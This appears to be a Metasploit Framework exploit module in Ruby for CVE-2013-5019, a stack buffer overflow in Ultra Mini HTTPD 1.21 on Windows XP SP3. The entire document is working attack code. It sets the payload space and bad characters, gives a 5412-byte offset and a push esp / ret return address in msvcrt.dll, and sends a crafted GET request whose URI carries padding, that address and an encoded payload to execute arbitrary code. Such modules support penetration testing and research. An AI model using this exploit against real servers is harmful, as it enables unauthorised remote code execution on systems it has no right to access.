Ultra Mini HTTPD Stack Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Ultra Mini HTTPD Stack Buffer Overflow",  
'Description' => %q{  
This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21  
allowing remote attackers to execute arbitrary code via a long resource name in an HTTP  
request.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'superkojiman', #Discovery, PoC  
'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit  
],  
'References' =>  
[  
['OSVDB', '95164'],  
['EDB','26739'],  
['CVE','2013-5019'],  
['BID','61130']  
],  
'Payload' =>  
{  
'Space' => 1623,  
'StackAdjustment' => -3500,  
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "thread"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'v1.21 - Windows XP SP3',  
{  
'Offset' => 5412,  
'Ret'=>0x77c354b4 # push esp / ret - msvcrt.dll  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jul 10 2013',  
'DefaultTarget' => 0  
))  
end  
  
def exploit  
buf = rand_text(target['Offset'])  
buf << [target.ret].pack("V*")  
buf << payload.encoded  
  
print_status("Sending buffer...")  
send_request_cgi({  
'method' => 'GET',  
'uri' => "/#{buf}"  
})  
end  
end  
`